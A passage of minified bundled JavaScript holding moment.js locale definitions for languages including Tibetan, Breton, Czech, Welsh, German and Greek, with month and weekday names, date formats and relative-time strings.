t={1:"༡",2:"༢",3:"༣",4:"༤",5:"༥",6:"༦",7:"༧",8:"༨",9:"༩",0:"༠"},a={"༡":"1","༢":"2","༣":"3","༤":"4","༥":"5","༦":"6","༧":"7","༨":"8","༩":"9","༠":"0"};e.defineLocale("bo",{months:"ཟླ་བ་དང་པོ_ཟླ་བ་གཉིས་པ_ཟླ་བ་གསུམ་པ_ཟླ་བ་བཞི་པ_ཟླ་བ་ལྔ་པ_ཟླ་བ་དྲུག་པ_ཟླ་བ་བདུན་པ_ཟླ་བ་བརྒྱད་པ_ཟླ་བ་དགུ་པ_ཟླ་བ་བཅུ་པ_ཟླ་བ་བཅུ་གཅིག་པ_ཟླ་བ་བཅུ་གཉིས་པ".split("_"),monthsShort:"ཟླ་1_ཟླ་2_ཟླ་3_ཟླ་4_ཟླ་5_ཟླ་6_ཟླ་7_ཟླ་8_ཟླ་9_ཟླ་10_ཟླ་11_ཟླ་12".split("_"),monthsShortRegex:/^(ཟླ་\d{1,2})/,monthsParseExact:!0,weekdays:"གཟའ་ཉི་མ་_གཟའ་ཟླ་བ་_གཟའ་མིག་དམར་_གཟའ་ལྷག་པ་_གཟའ་ཕུར་བུ_གཟའ་པ་སངས་_གཟའ་སྤེན་པ་".split("_"),weekdaysShort:"ཉི་མ་_ཟླ་བ་_མིག་དམར་_ལྷག་པ་_ཕུར་བུ_པ་སངས་_སྤེན་པ་".split("_"),weekdaysMin:"ཉི_ཟླ_མིག_ལྷག_ཕུར_སངས_སྤེན".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm",LLLL:"dddd, D MMMM YYYY, A h:mm"},calendar:{sameDay:"[དི་རིང] LT",nextDay:"[སང་ཉིན] LT",nextWeek:"[བདུན་ཕྲག་རྗེས་མ], LT",lastDay:"[ཁ་སང] LT",lastWeek:"[བདུན་ཕྲག་མཐའ་མ] dddd, LT",sameElse:"L"},relativeTime:{future:"%s ལ་",past:"%s སྔན་ལ",s:"ལམ་སང",ss:"%d སྐར་ཆ།",m:"སྐར་མ་གཅིག",mm:"%d སྐར་མ",h:"ཆུ་ཚོད་གཅིག",hh:"%d ཆུ་ཚོད",d:"ཉིན་གཅིག",dd:"%d ཉིན་",M:"ཟླ་བ་གཅིག",MM:"%d ཟླ་བ",y:"ལོ་གཅིག",yy:"%d ལོ"},preparse:function(e){return e.replace(/[༡༢༣༤༥༦༧༨༩༠]/g,(function(e){return a[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/མཚན་མོ|ཞོགས་ཀས|ཉིན་གུང|དགོང་དག|མཚན་མོ/,meridiemHour:function(e,t){return 12===e&&(e=0),"མཚན་མོ"===t&&e>=4||"ཉིན་གུང"===t&&e<5||"དགོང་དག"===t?e+12:e},meridiem:function(e,t,a){return e<4?"མཚན་མོ":e<10?"ཞོགས་ཀས":e<17?"ཉིན་གུང":e<20?"དགོང་དག":"མཚན་མོ"},week:{dow:0,doy:6}})}(a(381))},1278:function(e,t,a){!function(e){"use strict";function t(e,t,a){return e+" "+i({mm:"munutenn",MM:"miz",dd:"devezh"}[a],e)}function a(e){switch(n(e)){case 1:case 3:case 4:case 5:case 9:return e+" bloaz";default:return e+" vloaz"}}function n(e){return e>9?n(e%10):e}function i(e,t){return 2===t?r(e):e}function r(e){var t={m:"v",b:"v",d:"z"};return void 0===t[e.charAt(0)]?e:t[e.charAt(0)]+e.substring(1)}var s=[/^gen/i,/^c[ʼ\']hwe/i,/^meu/i,/^ebr/i,/^mae/i,/^(mez|eve)/i,/^gou/i,/^eos/i,/^gwe/i,/^her/i,/^du/i,/^ker/i],o=/^(genver|c[ʼ\']hwevrer|meurzh|ebrel|mae|mezheven|gouere|eost|gwengolo|here|du|kerzu|gen|c[ʼ\']hwe|meu|ebr|mae|eve|gou|eos|gwe|her|du|ker)/i,d=/^(genver|c[ʼ\']hwevrer|meurzh|ebrel|mae|mezheven|gouere|eost|gwengolo|here|du|kerzu)/i,l=/^(gen|c[ʼ\']hwe|meu|ebr|mae|eve|gou|eos|gwe|her|du|ker)/i,u=[/^sul/i,/^lun/i,/^meurzh/i,/^merc[ʼ\']her/i,/^yaou/i,/^gwener/i,/^sadorn/i],_=[/^Sul/i,/^Lun/i,/^Meu/i,/^Mer/i,/^Yao/i,/^Gwe/i,/^Sad/i],m=[/^Su/i,/^Lu/i,/^Me([^r]|$)/i,/^Mer/i,/^Ya/i,/^Gw/i,/^Sa/i];e.defineLocale("br",{months:"Genver_Cʼhwevrer_Meurzh_Ebrel_Mae_Mezheven_Gouere_Eost_Gwengolo_Here_Du_Kerzu".split("_"),monthsShort:"Gen_Cʼhwe_Meu_Ebr_Mae_Eve_Gou_Eos_Gwe_Her_Du_Ker".split("_"),weekdays:"Sul_Lun_Meurzh_Mercʼher_Yaou_Gwener_Sadorn".split("_"),weekdaysShort:"Sul_Lun_Meu_Mer_Yao_Gwe_Sad".split("_"),weekdaysMin:"Su_Lu_Me_Mer_Ya_Gw_Sa".split("_"),weekdaysParse:m,fullWeekdaysParse:u,shortWeekdaysParse:_,minWeekdaysParse:m,monthsRegex:o,monthsShortRegex:o,monthsStrictRegex:d,monthsShortStrictRegex:l,monthsParse:s,longMonthsParse:s,shortMonthsParse:s,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [a viz] MMMM YYYY",LLL:"D [a viz] MMMM YYYY HH:mm",LLLL:"dddd, D [a viz] MMMM YYYY HH:mm"},calendar:{sameDay:"[Hiziv da] LT",nextDay:"[Warcʼhoazh da] LT",nextWeek:"dddd [da] LT",lastDay:"[Decʼh da] LT",lastWeek:"dddd [paset da] LT",sameElse:"L"},relativeTime:{future:"a-benn %s",past:"%s ʼzo",s:"un nebeud segondennoù",ss:"%d eilenn",m:"ur vunutenn",mm:t,h:"un eur",hh:"%d eur",d:"un devezh",dd:t,M:"ur miz",MM:t,y:"ur bloaz",yy:a},dayOfMonthOrdinalParse:/\d{1,2}(añ|vet)/,ordinal:function(e){return e+(1===e?"añ":"vet")},week:{dow:1,doy:4},meridiemParse:/a.m.|g.m./,isPM:function(e){return"g.m."===e},meridiem:function(e,t,a){return e<12?"a.m.":"g.m."}})}(a(381))},622:function(e,t,a){!function(e){"use strict";function t(e,t,a){var n=e+" ";switch(a){case"ss":return n+=1===e?"sekunda":2===e||3===e||4===e?"sekunde":"sekundi";case"m":return t?"jedna minuta":"jedne minute";case"mm":return n+=1===e?"minuta":2===e||3===e||4===e?"minute":"minuta";case"h":return t?"jedan sat":"jednog sata";case"hh":return n+=1===e?"sat":2===e||3===e||4===e?"sata":"sati";case"dd":return n+=1===e?"dan":"dana";case"MM":return n+=1===e?"mjesec":2===e||3===e||4===e?"mjeseca":"mjeseci";case"yy":return n+=1===e?"godina":2===e||3===e||4===e?"godine":"godina"}}e.defineLocale("bs",{months:"januar_februar_mart_april_maj_juni_juli_august_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj._jun._jul._aug._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sri._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedjelju] [u] LT";case 3:return"[u] [srijedu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[jučer u] LT",lastWeek:function(){switch(this.day()){case 0:case 3:return"[prošlu] dddd [u] LT";case 6:return"[prošle] [subote] [u] LT";case 1:case 2:case 4:case 5:return"[prošli] dddd [u] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"prije %s",s:"par sekundi",ss:t,m:t,mm:t,h:t,hh:t,d:"dan",dd:t,M:"mjesec",MM:t,y:"godinu",yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(a(381))},2468:function(e,t,a){!function(e){"use strict";e.defineLocale("ca",{months:{standalone:"gener_febrer_març_abril_maig_juny_juliol_agost_setembre_octubre_novembre_desembre".split("_"),format:"de gener_de febrer_de març_d'abril_de maig_de juny_de juliol_d'agost_de setembre_d'octubre_de novembre_de desembre".split("_"),isFormat:/D[oD]?(\s)+MMMM/},monthsShort:"gen._febr._març_abr._maig_juny_jul._ag._set._oct._nov._des.".split("_"),monthsParseExact:!0,weekdays:"diumenge_dilluns_dimarts_dimecres_dijous_divendres_dissabte".split("_"),weekdaysShort:"dg._dl._dt._dc._dj._dv._ds.".split("_"),weekdaysMin:"dg_dl_dt_dc_dj_dv_ds".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM [de] YYYY",ll:"D MMM YYYY",LLL:"D MMMM [de] YYYY [a les] H:mm",lll:"D MMM YYYY, H:mm",LLLL:"dddd D MMMM [de] YYYY [a les] H:mm",llll:"ddd D MMM YYYY, H:mm"},calendar:{sameDay:function(){return"[avui a "+(1!==this.hours()?"les":"la")+"] LT"},nextDay:function(){return"[demà a "+(1!==this.hours()?"les":"la")+"] LT"},nextWeek:function(){return"dddd [a "+(1!==this.hours()?"les":"la")+"] LT"},lastDay:function(){return"[ahir a "+(1!==this.hours()?"les":"la")+"] LT"},lastWeek:function(){return"[el] dddd [passat a "+(1!==this.hours()?"les":"la")+"] LT"},sameElse:"L"},relativeTime:{future:"d'aquí %s",past:"fa %s",s:"uns segons",ss:"%d segons",m:"un minut",mm:"%d minuts",h:"una hora",hh:"%d hores",d:"un dia",dd:"%d dies",M:"un mes",MM:"%d mesos",y:"un any",yy:"%d anys"},dayOfMonthOrdinalParse:/\d{1,2}(r|n|t|è|a)/,ordinal:function(e,t){var a=1===e?"r":2===e?"n":3===e?"r":4===e?"t":"è";return"w"!==t&&"W"!==t||(a="a"),e+a},week:{dow:1,doy:4}})}(a(381))},5822:function(e,t,a){!function(e){"use strict";var t="leden_únor_březen_duben_květen_červen_červenec_srpen_září_říjen_listopad_prosinec".split("_"),a="led_úno_bře_dub_kvě_čvn_čvc_srp_zář_říj_lis_pro".split("_"),n=[/^led/i,/^úno/i,/^bře/i,/^dub/i,/^kvě/i,/^(čvn|červen$|června)/i,/^(čvc|červenec|července)/i,/^srp/i,/^zář/i,/^říj/i,/^lis/i,/^pro/i],i=/^(leden|únor|březen|duben|květen|červenec|července|červen|června|srpen|září|říjen|listopad|prosinec|led|úno|bře|dub|kvě|čvn|čvc|srp|zář|říj|lis|pro)/i;function r(e){return e>1&&e<5&&1!=~~(e/10)}function s(e,t,a,n){var i=e+" ";switch(a){case"s":return t||n?"pár sekund":"pár sekundami";case"ss":return t||n?i+(r(e)?"sekundy":"sekund"):i+"sekundami";case"m":return t?"minuta":n?"minutu":"minutou";case"mm":return t||n?i+(r(e)?"minuty":"minut"):i+"minutami";case"h":return t?"hodina":n?"hodinu":"hodinou";case"hh":return t||n?i+(r(e)?"hodiny":"hodin"):i+"hodinami";case"d":return t||n?"den":"dnem";case"dd":return t||n?i+(r(e)?"dny":"dní"):i+"dny";case"M":return t||n?"měsíc":"měsícem";case"MM":return t||n?i+(r(e)?"měsíce":"měsíců"):i+"měsíci";case"y":return t||n?"rok":"rokem";case"yy":return t||n?i+(r(e)?"roky":"let"):i+"lety"}}e.defineLocale("cs",{months:t,monthsShort:a,monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(leden|ledna|února|únor|březen|března|duben|dubna|květen|května|červenec|července|červen|června|srpen|srpna|září|říjen|října|listopadu|listopad|prosinec|prosince)/i,monthsShortStrictRegex:/^(led|úno|bře|dub|kvě|čvn|čvc|srp|zář|říj|lis|pro)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"neděle_pondělí_úterý_středa_čtvrtek_pátek_sobota".split("_"),weekdaysShort:"ne_po_út_st_čt_pá_so".split("_"),weekdaysMin:"ne_po_út_st_čt_pá_so".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd D. MMMM YYYY H:mm",l:"D. M. YYYY"},calendar:{sameDay:"[dnes v] LT",nextDay:"[zítra v] LT",nextWeek:function(){switch(this.day()){case 0:return"[v neděli v] LT";case 1:case 2:return"[v] dddd [v] LT";case 3:return"[ve středu v] LT";case 4:return"[ve čtvrtek v] LT";case 5:return"[v pátek v] LT";case 6:return"[v sobotu v] LT"}},lastDay:"[včera v] LT",lastWeek:function(){switch(this.day()){case 0:return"[minulou neděli v] LT";case 1:case 2:return"[minulé] dddd [v] LT";case 3:return"[minulou středu v] LT";case 4:case 5:return"[minulý] dddd [v] LT";case 6:return"[minulou sobotu v] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"před %s",s:s,ss:s,m:s,mm:s,h:s,hh:s,d:s,dd:s,M:s,MM:s,y:s,yy:s},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},877:function(e,t,a){!function(e){"use strict";e.defineLocale("cv",{months:"кӑрлач_нарӑс_пуш_ака_май_ҫӗртме_утӑ_ҫурла_авӑн_юпа_чӳк_раштав".split("_"),monthsShort:"кӑр_нар_пуш_ака_май_ҫӗр_утӑ_ҫур_авн_юпа_чӳк_раш".split("_"),weekdays:"вырсарникун_тунтикун_ытларикун_юнкун_кӗҫнерникун_эрнекун_шӑматкун".split("_"),weekdaysShort:"выр_тун_ытл_юн_кӗҫ_эрн_шӑм".split("_"),weekdaysMin:"вр_тн_ыт_юн_кҫ_эр_шм".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ]",LLL:"YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm",LLLL:"dddd, YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm"},calendar:{sameDay:"[Паян] LT [сехетре]",nextDay:"[Ыран] LT [сехетре]",lastDay:"[Ӗнер] LT [сехетре]",nextWeek:"[Ҫитес] dddd LT [сехетре]",lastWeek:"[Иртнӗ] dddd LT [сехетре]",sameElse:"L"},relativeTime:{future:function(e){return e+(/сехет$/i.exec(e)?"рен":/ҫул$/i.exec(e)?"тан":"ран")},past:"%s каялла",s:"пӗр-ик ҫеккунт",ss:"%d ҫеккунт",m:"пӗр минут",mm:"%d минут",h:"пӗр сехет",hh:"%d сехет",d:"пӗр кун",dd:"%d кун",M:"пӗр уйӑх",MM:"%d уйӑх",y:"пӗр ҫул",yy:"%d ҫул"},dayOfMonthOrdinalParse:/\d{1,2}-мӗш/,ordinal:"%d-мӗш",week:{dow:1,doy:7}})}(a(381))},7373:function(e,t,a){!function(e){"use strict";e.defineLocale("cy",{months:"Ionawr_Chwefror_Mawrth_Ebrill_Mai_Mehefin_Gorffennaf_Awst_Medi_Hydref_Tachwedd_Rhagfyr".split("_"),monthsShort:"Ion_Chwe_Maw_Ebr_Mai_Meh_Gor_Aws_Med_Hyd_Tach_Rhag".split("_"),weekdays:"Dydd Sul_Dydd Llun_Dydd Mawrth_Dydd Mercher_Dydd Iau_Dydd Gwener_Dydd Sadwrn".split("_"),weekdaysShort:"Sul_Llun_Maw_Mer_Iau_Gwe_Sad".split("_"),weekdaysMin:"Su_Ll_Ma_Me_Ia_Gw_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Heddiw am] LT",nextDay:"[Yfory am] LT",nextWeek:"dddd [am] LT",lastDay:"[Ddoe am] LT",lastWeek:"dddd [diwethaf am] LT",sameElse:"L"},relativeTime:{future:"mewn %s",past:"%s yn ôl",s:"ychydig eiliadau",ss:"%d eiliad",m:"munud",mm:"%d munud",h:"awr",hh:"%d awr",d:"diwrnod",dd:"%d diwrnod",M:"mis",MM:"%d mis",y:"blwyddyn",yy:"%d flynedd"},dayOfMonthOrdinalParse:/\d{1,2}(fed|ain|af|il|ydd|ed|eg)/,ordinal:function(e){var t="";return e>20?t=40===e||50===e||60===e||80===e||100===e?"fed":"ain":e>0&&(t=["","af","il","ydd","ydd","ed","ed","ed","fed","fed","fed","eg","fed","eg","eg","fed","eg","eg","fed","eg","fed"][e]),e+t},week:{dow:1,doy:4}})}(a(381))},4780:function(e,t,a){!function(e){"use strict";e.defineLocale("da",{months:"januar_februar_marts_april_maj_juni_juli_august_september_oktober_november_december".split("_"),monthsShort:"jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec".split("_"),weekdays:"søndag_mandag_tirsdag_onsdag_torsdag_fredag_lørdag".split("_"),weekdaysShort:"søn_man_tir_ons_tor_fre_lør".split("_"),weekdaysMin:"sø_ma_ti_on_to_fr_lø".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd [d.] D. MMMM YYYY [kl.] HH:mm"},calendar:{sameDay:"[i dag kl.] LT",nextDay:"[i morgen kl.] LT",nextWeek:"på dddd [kl.] LT",lastDay:"[i går kl.] LT",lastWeek:"[i] dddd[s kl.] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"%s siden",s:"få sekunder",ss:"%d sekunder",m:"et minut",mm:"%d minutter",h:"en time",hh:"%d timer",d:"en dag",dd:"%d dage",M:"en måned",MM:"%d måneder",y:"et år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},217:function(e,t,a){!function(e){"use strict";function t(e,t,a,n){var i={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?i[a][0]:i[a][1]}e.defineLocale("de-at",{months:"Jänner_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jän._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So._Mo._Di._Mi._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,w:t,ww:"%d Wochen",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},894:function(e,t,a){!function(e){"use strict";function t(e,t,a,n){var i={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?i[a][0]:i[a][1]}e.defineLocale("de-ch",{months:"Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,w:t,ww:"%d Wochen",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},9740:function(e,t,a){!function(e){"use strict";function t(e,t,a,n){var i={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?i[a][0]:i[a][1]}e.defineLocale("de",{months:"Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So._Mo._Di._Mi._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,w:t,ww:"%d Wochen",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},5300:function(e,t,a){!function(e){"use strict";var t=["ޖެނުއަރީ","ފެބްރުއަރީ","މާރިޗު","އޭޕްރީލު","މޭ","ޖޫން","ޖުލައި","އޯގަސްޓު","ސެޕްޓެމްބަރު","އޮކްޓޯބަރު","ނޮވެމްބަރު","ޑިސެމްބަރު"],a=["އާދިއްތަ","ހޯމަ","އަންގާރަ","ބުދަ","ބުރާސްފަތި","ހުކުރު","ހޮނިހިރު"];e.defineLocale("dv",{months:t,monthsShort:t,weekdays:a,weekdaysShort:a,weekdaysMin:"އާދި_ހޯމަ_އަން_ބުދަ_ބުރާ_ހުކު_ހޮނި".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/M/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/މކ|މފ/,isPM:function(e){return"މފ"===e},meridiem:function(e,t,a){return e<12?"މކ":"މފ"},calendar:{sameDay:"[މިއަދު] LT",nextDay:"[މާދަމާ] LT",nextWeek:"dddd LT",lastDay:"[އިއްޔެ] LT",lastWeek:"[ފާއިތުވި] dddd LT",sameElse:"L"},relativeTime:{future:"ތެރޭގައި %s",past:"ކުރިން %s",s:"ސިކުންތުކޮޅެއް",ss:"d% ސިކުންތު",m:"މިނިޓެއް",mm:"މިނިޓު %d",h:"ގަޑިއިރެއް",hh:"ގަޑިއިރު %d",d:"ދުވަހެއް",dd:"ދުވަސް %d",M:"މަހެއް",MM:"މަސް %d",y:"އަހަރެއް",yy:"އަހަރު %d"},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:7,doy:12}})}(a(381))},837:function(e,t,a){!function(e){"use strict";function t(e){return"undefined"!=typeof Function&&e instanceof Function||"[object Function]"===Object.prototype.toString.call(e)}e.defineLocale("el",{monthsNominativeEl:"Ιανουάριος_Φεβρουάριος_Μάρτιος_Απρίλιος_Μάιος_Ιούνιος_Ιούλιος_Αύγουστος_Σεπτέμβριος_Οκτώβριος_Νοέμβριος_Δεκέμβριος".split("_"),monthsGenitiveEl:"Ιανουαρίου_Φεβρουαρίου_Μαρτίου_Απριλίου_Μαΐου_Ιουνίου_Ιουλίου_Αυγούστου_Σεπτεμβρίου_Οκτωβρίου_Νοεμβρίου_Δεκεμβρίου".split("_"),months:function(e,t){return e?"string"==typeof t&&/D/.test(t.substring(0,t.indexOf("MMMM")))?this._monthsGenitiveEl[e.month()]:this._monthsNominativeEl[e.month()]:this._monthsNominativeEl},monthsShort:"Ιαν_Φεβ_Μαρ_Απρ_Μαϊ_Ιουν_Ιουλ_Αυγ_Σεπ_Οκτ_Νοε_Δεκ".split("_"),weekdays:"Κυριακή_Δευτέρα_Τρίτη_Τετάρτη_Πέμπτη_Παρασκευή_Σάββατο".split("_"),weekdaysShort:"Κυρ_Δευ_Τρι_Τετ_Πεμ_Παρ_Σαβ".split("_"),weekdaysMin:"Κυ_Δε_Τρ_Τε_Πε_Πα_Σα".split("_"),meridiem:function(e,t,a){return e>11?a?"μμ":"ΜΜ":a?"πμ":"ΠΜ"},isPM:function(e){return"μ"===(e+"").toLowerCase()[0]},meridiemParse:/[ΠΜ]\.?Μ?\.?/i,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendarEl:{sameDay:"[Σήμερα {}] LT",nextDay:"[Αύριο {}] LT",nextWeek:"dddd [{}] LT",lastDay:"[Χθες {}] LT",lastWeek:function(){switch(this.day()){case 6:return"[το προηγούμενο] dddd [{}] LT";default:return"[την προηγούμενη] dddd [{}] LT"}},sameElse:"L"},calendar:function(e,a){var n=this._calendarEl[e],i=a&&a.hours();return t(n)&&(n=n.apply(a)),n.replace("{}",i%12==1?"στη":"στις")},relativeTime:{future:"σε %s",past:"%s πριν",s:"λίγα δευτερόλεπτα",ss:"%d δευτερόλεπτα",m:"ένα λεπτό",mm:"%d λεπτά",h:"μία ώρα",hh:"%d ώρες",d:"μία μέρα",dd:"%d μέρες",M:"ένας μήνας",MM:"%d μήνες",y:"ένας χρόνος",yy:"%d χρόνια"},dayOfMonthOrdinalParse:/\d{1,2}η/,ordinal:"%dη",week:{dow:1,doy:4}})}(a(381))},8348:function(e,t,a){!function(e){"use strict";e.defineLocale("en-au",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:0,doy:4}})}(a(381))},7925:function(e,t,a){!function(e){"use 